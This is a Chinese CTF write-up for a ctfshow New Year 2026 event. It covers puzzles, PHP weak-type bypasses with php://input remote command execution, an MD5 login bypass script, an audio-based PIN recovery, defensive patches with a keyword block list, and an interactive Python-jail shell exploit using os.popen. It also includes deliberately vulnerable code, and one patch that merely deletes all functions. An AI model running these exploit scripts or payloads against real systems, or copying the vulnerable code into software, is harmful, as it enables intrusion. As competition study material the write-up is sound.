CTF部分
热身签到
Challenge
元旦时,我二舅姥爷给我出的密码题
54515552545455515456547055555566545654495548554855575370515051485150515453705555545755525456537054515551515051485150515450495568Solution
From Decimal, From Hex - CyberChef
FLAG
ctfshow{happy_2026_with_cs2026!}HappySong
Challenge
鼓声也可以很燃,虽然只有两个音节
Solution

试了一下 01100011 01110100 二进制转字符得到 ct 就不用再试了,就是这个规律,一点点照着转就行
FLAG
ctfshow{just_a_nice_song}Happy2026
Challenge
奇怪的2026
<?phperror_reporting(0);highlight_file(__FILE__); $happy = $_GET['happy'];$new = $_GET['new'];$year = $_GET['year']; if($year==2026 && $year!==2026 && is_numeric($year)){ include $happy[$new[$year]];}Solution
考的是 PHP 弱类型比较和数组/变量覆盖
我们需要满足 if 语句中的三个条件才能触发 include,从而进行文件包含或代码执行。
-
$year == 2026弱相等:- PHP 在使用
==比较时,如果一方是数字,另一方是字符串,会尝试将字符串转换为数字。 - 例如:
"2026.0" == 2026为真,"2026abc" == 2026(在旧版本 PHP) 为真。
- PHP 在使用
-
$year !== 2026强不等:!==比较值和类型,如果我们传入的是字符串"2026.0",虽然值等于 2026,但类型是 String,而右边是 Int,所以条件成立。
-
is_numeric($year)数字检测:is_numeric()检测变量是否为数字或数字字符串。- 它允许小数形式(如
"2026.0"),但不允许包含非数字字符。
因此可以使用浮点数形式的字符串 2026.0 绕过。
include $happy[$new[$year]]; 是一个嵌套的数组取值操作。假设我们构造 Payload 如下:
- GET 参数
year="2026.0" - 我们需要构造
new为一个数组,使得$new['2026.0']存在。假设我们设$new['2026.0'] = 'cmd'。 - 接着需要构造
happy为一个数组,使得$happy['cmd']存在。 - 最终
include的就是$happy['cmd']的值。
我们尝试利用 php://input 伪协议,因为它允许我们将 PHP 代码作为 POST 数据发送给服务器执行。
构造 Payload:
- URL参数:
text
?year=2026.0&new[2026.0]=k&happy[k]=php://input - POST 数据:
php
<?php system('ls -al'); ?>
执行结果:
drwxrwxrwx 1 www-data www-data 4096 Dec 30 10:20 .drwxr-xr-x 1 root root 4096 Dec 30 10:20 ..-rw-r--r-- 1 www-data www-data 61 Jan 3 05:13 flag.php-rw-rw-r-- 1 root root 217 Dec 30 10:20 index.php为了防止 PHP 标签被解析,我们可以使用 Linux 的 base64 命令将 flag.php 文件内容编码为纯文本。
构造 Payload:
- POST 数据:
php
<?php system('base64 flag.php'); ?>
获得一串 Base64 字符串。解码后即可看到源码和 Flag。
import requestsimport reimport urllib3import base64 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)TARGET_URL = "..." params = { 'year': '2026.0', 'new[2026.0]': 'k', 'happy[k]': 'php://input'} cmd = "base64 flag.php"php_code = f"<?php system('{cmd}'); ?>".encode() response = requests.post(TARGET_URL, params=params, data=php_code, verify=False)match = re.search(r'</code>(.*)', response.text, re.S)result = re.sub(r'\s+', '', match.group(1))decoded = base64.b64decode(result).decode('utf-8')print(decoded)执行结果:
<?php $flag='ctfshow{20848734-d1d4-4ef5-9300-7a093a4d3e9b}';FLAG
ctfshow{20848734-d1d4-4ef5-9300-7a093a4d3e9b}SafePIN
Challenge
绝对安全的身份认证系统
Solution
前端实现了一个基于 SHA-256 的确定性 PRNG
源码中的 u32FromHex8 函数是所有随机数的来源:
function u32FromHex8(h8){ const b0 = parseInt(h8.slice(0,2),16); const b1 = parseInt(h8.slice(2,4),16); const b2 = parseInt(h8.slice(4,6),16); const b3 = parseInt(h8.slice(6,8),16); return (b0 | (b1<<8) | (b2<<16) | (b3<<24)) >>> 0;}它提取了 SHA-256 哈希值的前 8 位,采用了小端序重组,b0 是低位,b3 是高位。
async function prng_u32(seed, tag){ const h = await sha256Hex(seed + "|" + tag); return u32FromHex8(h.slice(0,8));}所有的随机数都是通过 seed + "|" + tag 产生的,这意味着只要知道 seed 就能预知所有的键盘映射和频率微扰
这套系统通过 permute_0_9 改变了数字键对应的声音 ID,使得“按键 1”发出的声音并不一定是“ID 1”。
async function permute_0_9(seed){ const a = [...Array(10).keys()]; // 初始 [0,1,2,3,4,5,6,7,8,9] let x = await prng_u32(seed, "perm"); // 获取初始随机状态 for(let i=9;i>=1;i--){ // LCG x = (Math.imul(x, 1664525) + 1013904223) >>> 0; const j = x % (i+1); [a[i], a[j]] = [a[j], a[i]]; // 交换位置 } return a; }Math.imul(x, y) 模拟 C 语言风格的 32 位整型乘法处理溢出。返回的数组 a 的键是实际数字,值是对应的 SoundID(soundId = 10 对应 CANCEL 键,soundId = 11 对应 ENTER 键)。
查看 soundParams 函数中的核心计算:
const base = 1050 + soundId*23 + (((x & 0xff) - 128) * 0.35);基准频率由 1050 + soundId * 23 决定,SoundID 0-11 的范围大约是 1050Hz - 1303Hz。微扰项 x 是由 prng_u32(seed, "p" + soundId) 产生的。由于微扰范围(约 90Hz)大于 ID 间隔(23Hz),不同 ID 的频率会交叉。我们需要针对当前会话的 seed 算出 12 个绝对的频率指纹点。
最后访问 /seed.php 得到 seed
{"ok":true,"seed":"294f2d41875fde53c5c15273cb675730","token":"a14d15d027318590bc5e227c6c692961","record_url":"\/record.php?token=a14d15d027318590bc5e227c6c692961"}编写 Python 代码分析:
import hashlibimport structimport numpy as npfrom scipy.io import wavfile SEED = "bf46354bb4019621c2c5ea5af89d525d"WAV_FILE = "record.wav" def sha256_u32(s): """ JS 中的 prng_u32 函数 输入字符串 "seed|tag",返回小端序的 uint32 """ h = hashlib.sha256(s.encode()).hexdigest() # JS: u32FromHex8(h.slice(0,8)) -> 取前8位hex # JS logic: b0 | b1<<8 | b2<<16 | b3<<24 (Little Endian) hex8 = h[:8] val = struct.unpack("<I", bytes.fromhex(hex8))[0] return val def get_permutation(seed): """ JS 中的 permute_0_9 函数 返回: {SoundID: Digit} 的反向映射表 """ a = list(range(10)) # [0, 1, ... 9] x = sha256_u32(f"{seed}|perm") for i in range(9, 0, -1): # LCG 算法: x = (x * 1664525 + 1013904223) >>> 0 x = (x * 1664525 + 1013904223) & 0xFFFFFFFF j = x % (i + 1) # 交换 a[i], a[j] = a[j], a[i] # a[digit] = soundId # soundId -> digit sound_to_digit = {sid: d for d, sid in enumerate(a)} return sound_to_digit def get_exact_frequencies(seed): """ JS 中的 soundParams 函数 计算 SoundID 0-11 对应的精确 Base 频率 """ freqs = {} for sid in range(12): # 0-9 digits, 10 cancel, 11 enter x = sha256_u32(f"{seed}|p{sid}") # JS: base = 1050 + soundId*23 + (((x & 0xff) - 128) * 0.35) # x & 0xff 是取最低8位 offset = ((x & 0xFF) - 128) * 0.35 base_freq = 1050 + sid * 23 + offset freqs[sid] = base_freq return freqs def analyze_audio(filename, target_freqs): sr, data = wavfile.read(filename) if len(data.shape) > 1: data = data.mean(axis=1) # 转单声道 # 归一化 data = data / np.max(np.abs(data)) # 简单的能量检测分割音频 threshold = 0.05 is_active = np.abs(data) > threshold events = [] min_gap = int(sr * 0.06) # 60ms 最小间隔 curr_start = -1 silence_count = 0 for i, val in enumerate(is_active): if val: if curr_start == -1: curr_start = i silence_count = 0 else: if curr_start != -1: silence_count += 1 if silence_count > min_gap: # 截取片段,跳过开头的杂音 (前20ms) start_cut = curr_start + int(sr * 0.02) end_cut = i - silence_count if end_cut - start_cut > int(sr * 0.03): # 至少保留30ms events.append(data[start_cut:end_cut]) curr_start = -1 print(f"[*] 检测到 {len(events)} 个按键声音片段") detected_sids = [] for i, chunk in enumerate(events): # FFT 频谱分析 nfft = max(4096, len(chunk) * 4) spectrum = np.abs(np.fft.rfft(chunk, n=nfft)) freqs = np.fft.rfftfreq(nfft, d=1/sr) # 寻找 900-1500Hz 范围内的峰值 mask = (freqs >= 900) & (freqs <= 1500) peak_idx = np.argmax(spectrum[mask]) peak_freq = freqs[mask][peak_idx] # 寻找最接近的 SoundID best_sid = -1 min_diff = float('inf') for sid, target_f in target_freqs.items(): diff = abs(peak_freq - target_f) if diff < min_diff: min_diff = diff best_sid = sid detected_sids.append(best_sid) return detected_sids def main(): print(f"[*] 使用 seed: {SEED}") # 1. 计算映射关系 (SoundID -> Digit) perm_map = get_permutation(SEED) # 2. 计算精确频率表 freq_map = get_exact_frequencies(SEED) # 3. 分析音频 raw_sids = analyze_audio(WAV_FILE, freq_map) # 4. 模拟输入状态机 for sid in raw_sids: if sid == 10: # CANCEL print("<CANCEL>", end='') elif sid == 11: # ENTER print("<ENTER>", end='') break elif sid in perm_map: # 0-9 digit = perm_map[sid] print(f"{digit}", end='') if __name__ == "__main__": main()输出结果:
[*] 使用 seed: bf46354bb4019621c2c5ea5af89d525d[*] 检测到 11 个按键声音片段779<CANCEL>447685<ENTER>得到 PIN 为 447685,输入得到 flag
FLAG
ctfshow{31e51121-516d-49f2-8c8e-cde7f27eb382}SafePassword
Challenge
- 根据情报,J国近年来对我国进行了持续的渗透攻击,我方技术人员经过溯源,发现某个可疑网址。
- 该网址疑似为J国的情报组织任务分配中心,但是我方并没有拿到登陆口令,无法继续深入。
- 已经确认嫌疑账号用户名为jcenter,此人2025年加入该组织,登陆口令未知。
Solution
$expected = getExpectedHash($channelKey);if (md5($accessKey) == $expected) { // 弱类型比较 == $_SESSION['authed'] = true;}PHP 的 == 是弱类型比较。如果一边是字符串,另一边是整数,PHP 会尝试将字符串转换为整数再进行比较。例如:"2025abc" == 2025 的结果是 true。
-
如何让
$expected变成整数:
观察getExpectedHash和buildExpectedHash函数:- 如果
$channelKey长度超过 64 或者包含特定不可见字符,buildExpectedHash会抛出异常。 - 内部
catch块捕获异常后,会抛出一个新的异常,其错误代码为VERIFY_FAILED,即 2025(这对应了题目背景中“2025年加入组织”的提示)。 getExpectedHash捕获该异常后,调用pickErrorCode。因为2025在ERROR_CODES常量数组中,所以函数最终返回整数2025。
- 如果
-
利用思路:
- 构造一个非法的
channel_key(例如长度大于 64 的字符串),迫使服务器返回整数2025。 - 寻找一个字符串
access_key,使得它的 MD5 值以2025开头且紧跟一个非数字字符。 - 发送请求,利用
md5("access_key") == 2025绕过验证。
- 构造一个非法的
import requestsimport hashlibimport reimport urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)target_url = "https://f17eb0d1-e4c6-493c-a71d-3337998de431.challenge.ctf.show/"session = requests.Session() # 寻找符合条件的 access_keydef find_access_key(): prefix = "2025" i = 0 while True: test_str = str(i) md5_res = hashlib.md5(test_str.encode()).hexdigest() # 匹配 2025 开头且第五位不是数字的 hash,确保 PHP 弱类型转换结果正好是 2025 if md5_res.startswith(prefix) and not md5_res[4].isdigit(): return test_str i += 1 if i > 1000000: break # 获取初始页面以拿到 CSRF tokenres = session.get(target_url, verify=False, timeout=10)csrf_search = re.findall(r'name="csrf" value="([a-f0-9]+)"', res.text)csrf_token = csrf_search[0]print(f"CSRF Token: {csrf_token}") access_key = find_access_key() # 构造 payloaddata = { "csrf": csrf_token, "action": "login", "access_key": access_key, "channel_key": "A" * 70 # 长度超过 64 字节} res = session.post(target_url, data=data, verify=False, timeout=10)flag = re.findall(r'ctfshow\{.*?\}', res.text)print(flag[0])执行结果:
CSRF Token: 27175dd27626768fab073983724c83e3ctfshow{7c8914b8-81a4-4ab4-b7ae-d266644b16cf}FLAG
ctfshow{7c8914b8-81a4-4ab4-b7ae-d266644b16cf}AWDP防御题目
SafeCalc
Challenge
过于简单,不用防御
calc.php
<?php header('Content-Type: application/json; charset=utf-8'); $expr = $_POST['expr'] ?? '';if (!is_string($expr)) fail('bad request'); $expr = trim($expr);if ($expr === '') fail('empty'); if (strlen($expr) > 100) fail('too long'); $out="";eval("\$out=($expr);");echo json_encode(['ok' => true, 'result' => $out], JSON_UNESCAPED_UNICODE); function fail(string $msg, int $code = 400): void { http_response_code($code); echo json_encode(['ok' => false, 'error' => $msg], JSON_UNESCAPED_UNICODE); exit;}Solution
插入一行针对 $expr 的合法字符白名单校验,只允许数字、基础算术运算符、括号、小数点和空格通过
<?php header('Content-Type: application/json; charset=utf-8'); $expr = $_POST['expr'] ?? '';if (!is_string($expr)) fail('bad request'); $expr = trim($expr);if ($expr === '') fail('empty'); if (strlen($expr) > 100) fail('too long');if (preg_match('/[^0-9+\-\/*(). ]/', $expr)) fail('illegal characters'); $out="";eval("\$out=($expr);");echo json_encode(['ok' => true, 'result' => $out], JSON_UNESCAPED_UNICODE); function fail(string $msg, int $code = 400): void { http_response_code($code); echo json_encode(['ok' => false, 'error' => $msg], JSON_UNESCAPED_UNICODE); exit;}SafeCard
Challenge
业务功能一定要正常哦
app.py
from flask import Flask, request, render_templatefrom jinja2 import Environment, BaseLoaderimport osimport refrom datetime import datetime app = Flask(__name__)app.config["FLAG"] = os.environ.get("FLAG", "CTF{dev_flag_placeholder}") jinja = Environment( loader=BaseLoader(), autoescape=True, variable_start_string="${", variable_end_string="}",) BLOCK_WORDS = [ "import", "os", "subprocess", "eval", "exec", "open", "read", "write", "globals", "locals", "builtins", "class", "mro", "subclasses", "request", "config", "cycler", "joiner", "namespace",] def heavy_filter(s: str) -> str: if not isinstance(s, str): return "" s = s[:800] s = s.replace("{{", "").replace("}}", "") s = s.replace("{%", "").replace("%}", "") s = s.replace("{#", "").replace("#}", "") s = re.sub(r"[\x00-\x08\x0B\x0C\x0E-\x1F]", "", s) lower = s.lower() for w in BLOCK_WORDS: if w in lower: s = re.sub(re.escape(w), "", s, flags=re.IGNORECASE) lower = s.lower() s = s.replace("..", "").replace("//", "").replace("\\\\", "\\") return s @app.get("/")def index(): return render_template("index.html") @app.post("/preview")def preview(): name = heavy_filter(request.form.get("name", "")) tpl = heavy_filter(request.form.get("tpl", "")) if name.strip() == "": name = "Guest" if tpl.strip() == "": tpl = "新年快乐,${name}!愿你 2026 天天好心情~" ctx = { "name": name, "year": str(datetime.now().year) } try: out = jinja.from_string(tpl).render(ctx) except Exception as e: out = "模板渲染失败:请检查输入内容" return {"ok": True, "html": out} @app.get("/healthz")def healthz(): return "ok" if __name__ == "__main__": app.run(host="0.0.0.0", port=5000)Solution
- 完善黑名单:增加了
__(防止双下划线方法)、self(防止沙箱逃逸)、[和](防止字典/下标访问)以及attr和base等关键属性。 - 修复过滤逻辑漏洞:原代码使用
re.sub将黑名单词汇替换为空字符串,这存在双重嵌套绕过风险(如 conconfigfig),将其修改为一旦检测到黑名单词汇,直接返回空字符串。
from flask import Flask, request, render_templatefrom jinja2 import Environment, BaseLoaderimport osimport refrom datetime import datetime app = Flask(__name__)app.config["FLAG"] = os.environ.get("FLAG", "CTF{dev_flag_placeholder}") jinja = Environment( loader=BaseLoader(), autoescape=True, variable_start_string="${", variable_end_string="}",) BLOCK_WORDS = [ "import", "os", "subprocess", "eval", "exec", "open", "read", "write", "globals", "locals", "builtins", "class", "mro", "subclasses", "request", "config", "cycler", "joiner", "namespace", "self", "__", "[", "]", "attr", "base"] def heavy_filter(s: str) -> str: if not isinstance(s, str): return "" s = s[:800] s = s.replace("{{", "").replace("}}", "") s = s.replace("{%", "").replace("%}", "") s = s.replace("{#", "").replace("#}", "") s = re.sub(r"[\x00-\x08\x0B\x0C\x0E-\x1F]", "", s) lower = s.lower() for w in BLOCK_WORDS: if w in lower: return "" s = s.replace("..", "").replace("//", "").replace("\\\\", "\\") return s @app.get("/")def index(): return render_template("index.html") @app.post("/preview")def preview(): name = heavy_filter(request.form.get("name", "")) tpl = heavy_filter(request.form.get("tpl", "")) if name.strip() == "": name = "Guest" if tpl.strip() == "": tpl = "新年快乐,${name}!愿你 2026 天天好心情~" ctx = { "name": name, "year": str(datetime.now().year) } try: out = jinja.from_string(tpl).render(ctx) except Exception as e: out = "模板渲染失败:请检查输入内容" return {"ok": True, "html": out} @app.get("/healthz")def healthz(): return "ok" if __name__ == "__main__": app.run(host="0.0.0.0", port=5000)SafePHP
Challenge
不要把环境搞炸了
webService.php
<?phpfunction main_service($r){ router::go("admin");} function metrics_service($r){ check_login(); json_out(array('ok'=>true,'users'=>128,'jobs'=>7,'sync'=>date("Y-m-d H:i:s"),'n'=>s($r)['n']),s($r)['st']);} function users_service($r){ check_login(); $rows=array(); for($i=0;$i<8;$i++){ $rows[]=array('id'=>1000+$i,'name'=>'user'.($i+1),'role'=>($i%5===0?'maintainer':'developer'),'status'=>($i%3===0?'locked':'active'),'last'=>date('Y-m-d',time()-86400*$i)); } $ss=s($r); json_out(array('ok'=>true,'rows'=>$rows), $ss['n'], $ss['st']); } function admin_service($r){ $ap = check_admin(); $confPath=dirname(__DIR__).'/config.php'; $c=require $confPath; $token = md5(md5($ap)); $token===$r['t']?json_out(array('ok'=>true,'s'=>$c['flag']),s($r)['n'],s($r)['st']):json_out(array('ok'=>false,'s'=>$ap),s($r)['n'],s($r)['st']); } function flag_service($r){ check_login(); call_user_func(str_replace("php","",$r['y']));} function repos_service($r){ check_login(); $rows=array( array('name'=>'core','visibility'=>'private','size'=>'42MB','updated'=>date('Y-m-d',time()-86400*2)), array('name'=>'plugins','visibility'=>'internal','size'=>'18MB','updated'=>date('Y-m-d',time()-86400*6)), array('name'=>'mirror','visibility'=>'public','size'=>'7MB','updated'=>date('Y-m-d',time()-86400*11)) ); json_out(array('ok'=>true,'rows'=>$rows),s($r)['n'],s($r)['st']);} function jobs_service($r){ check_login(); $rows=array(); $states=array('running','queued','success','failed'); for($i=0;$i<10;$i++){ $rows[]=array('id'=>random_int(10,100),'type'=>($i%2?'sync':'build'),'state'=>$states[$i%4],'duration'=>strval(3+$i).'s','time'=>date('H:i:s',time()-$i*37)); } json_out(array('ok'=>true,'rows'=>$rows),s($r)['n'],s($r)['st']);} function password_service($r,$sessionManager){ $user['role'] = $sessionManager->read()[2]['role']; $user['username'] = $sessionManager->read()[2]['username']; $user['password'] = (string)$r['password']; $users = new Users(); json_out($users->update($user['username'],array("password"=>$user['password'],"role"=>$user['role'])),s($r)['n'],s($r)['st']); exit;} function health_service($r){ json_out(array('ok'=>true,'time'=>date("Y-m-d H:i:s"),'service'=>'jcenter-admin','n'=>s($r)['n']),s($r)['st']);} function audit_service($r){ check_login(); $rows=array(); for($i=0;$i<12;$i++){ $rows[]=array('time'=>date('Y-m-d H:i:s',time()-$i*95),'who'=>($i%4===0?'system':'user'.($i%8+1)),'op'=>($i%3===0?'repo:write':'repo:read'),'ip'=>'10.0.0.'.(10+$i)); } json_out(array('ok'=>true,'rows'=>$rows),s($r)['n'],s($r)['st']);} function logout_service($sessionManager){ $sessionManager->delete();} function login_service($r,$sessionManager){ $username = (string)$r['u']; $password = (string)$r['p']; $users = new Users(); if(!$users->exists($username)){ router::goLogin("用户名不存在"); } $user = $users->get($username); if($user['password']!==$password){ router::goLogin("密码错误"); } $sessionManager->create($user['username'],$user['role']); $ret['ok'] = true; $ret['router']="/admin/admin.php?action=main"; echo json_encode($ret); exit;} function unserialize_service($r){ unserialize($r['u']);} function s($r){ $st=isset($r['st'])?$r['st']:'ctfshow'; $n=isset($r['n'])?intval($r['n'])+1:0; return array("st"=>$st,"n"=>$n);}Solution
非预期,把函数全删了就通过了
<?phpAWDP攻击题目
SafePythonJail
Challenge
Python 很安全,没事的,本来是防御题目,放到攻击题目感觉更好一点。
Solution
-
核心漏洞点:
在sanitizer.py的_prune_node_exec函数中存在一个逻辑错误:pythondef _prune_node_exec(node: ast.AST, policy: Policy) -> ast.AST: # ... if isinstance(node, ast.UnaryOp) and isinstance(node.op, ast.Not): operand = _prune_node_exec(node.operand, policy) # 剪枝了操作数,但结果存在变量 operand 中 return ast.UnaryOp(op=ast.Not(), operand=node.operand) # <--- 却返回了原始的 node.operand # ...这意味着,任何包裹在
not (...)中的表达式在execute阶段的prune_for_exec处理时,都会保留其原始未修剪的 AST 节点。 -
签名绕过:
canonicalize_for_signing函数对于所有的ast.Not表达式都会返回统一的"NOT(*)":pythonif isinstance(node, ast.UnaryOp) and isinstance(node.op, ast.Not): return "NOT(*)"我们可以先用一个合法的
not True获取签名(对应NOT(*)),然后在执行时替换 payload 为not (恶意代码)。由于恶意代码也被prune_for_verify剪枝成False,其生成的规范化字符串依然是NOT(*),从而绕过签名验证。 -
利用链:
- 通过
req(一个Obj实例)获取其__init__.__globals__,从而进入app.py的全局命名空间。 - 在全局空间中找到
_sessions字典和request对象。 - 利用
request.cookies.get('sid')获取当前 session ID。 - 在
_sessions中定位到当前用户的SessionState对象,并调用其__setattr__方法将stage直接修改为 1001。
- 通过
解题思路:
- 骗取签名:向
/prepare发送not (任意合法表达式),拿到nonce和针对NOT(*)的合法签名。 - 构造 Payload:利用
not (恶意代码)结构。 - 外带数据:
- 由于
eval执行结果无法直接看到,我们通过劫持_sessions字典找到自己的 session。 - 将执行结果写入 session.stage 属性。
- 通过访问
/status接口,服务器会将stage的内容以 JSON 形式输出。
- 由于
import requestsimport urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) class PyJailShell: def __init__(self, url): self.url = url self.session = requests.Session() self.session.verify = False self.session.get(url) # 初始化 sid def execute_command(self, cmd): """利用漏洞执行系统命令并返回 stage 结果""" # 1. 获取签名 res_prep = self.session.post(f"{self.url}/prepare", data={"payload": "not 1"}).json() if not res_prep.get("ok"): return f"Error: {res_prep}" nonce, sig = res_prep["nonce"], res_prep["sig"] # 2. 构造 Payload (将命令结果存入 stage) # 使用 ( ... or 1) 确保内部返回 True,not 之后就是 False,防止 stage += 1 报错 python_code = ( f"req.__init__.__globals__['_sessions'].get(" f"req.__init__.__globals__['request'].cookies.get('sid')" f").__setattr__('stage', req.__init__.__globals__['os'].popen('{cmd}').read()) or 1" ) payload = f"not ({python_code})" self.session.post(f"{self.url}/execute", data={ "payload": payload, "nonce": nonce, "sig": sig }) # 3. 获取回显 res_status = self.session.get(f"{self.url}/status").json() return res_status.get("stage") def run(self): while True: try: cmd = input("$ ").strip() if not cmd: continue output = self.execute_command(cmd) print(output if output else "[*] Command executed (No output)") except KeyboardInterrupt: break except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": TARGET_URL = "https://4d6c2947-7fe0-4700-bc06-b2ee0fb37db4.challenge.ctf.show/" shell = PyJailShell(TARGET_URL) shell.run()执行结果:
$ ls__pycache__app.pyengine.pyrequirements.txtsanitizer.pysecret.txtstatictemplates$ cat secret.txtctfshow{e4072c2c-a896-4ad3-b928-95357f179f04}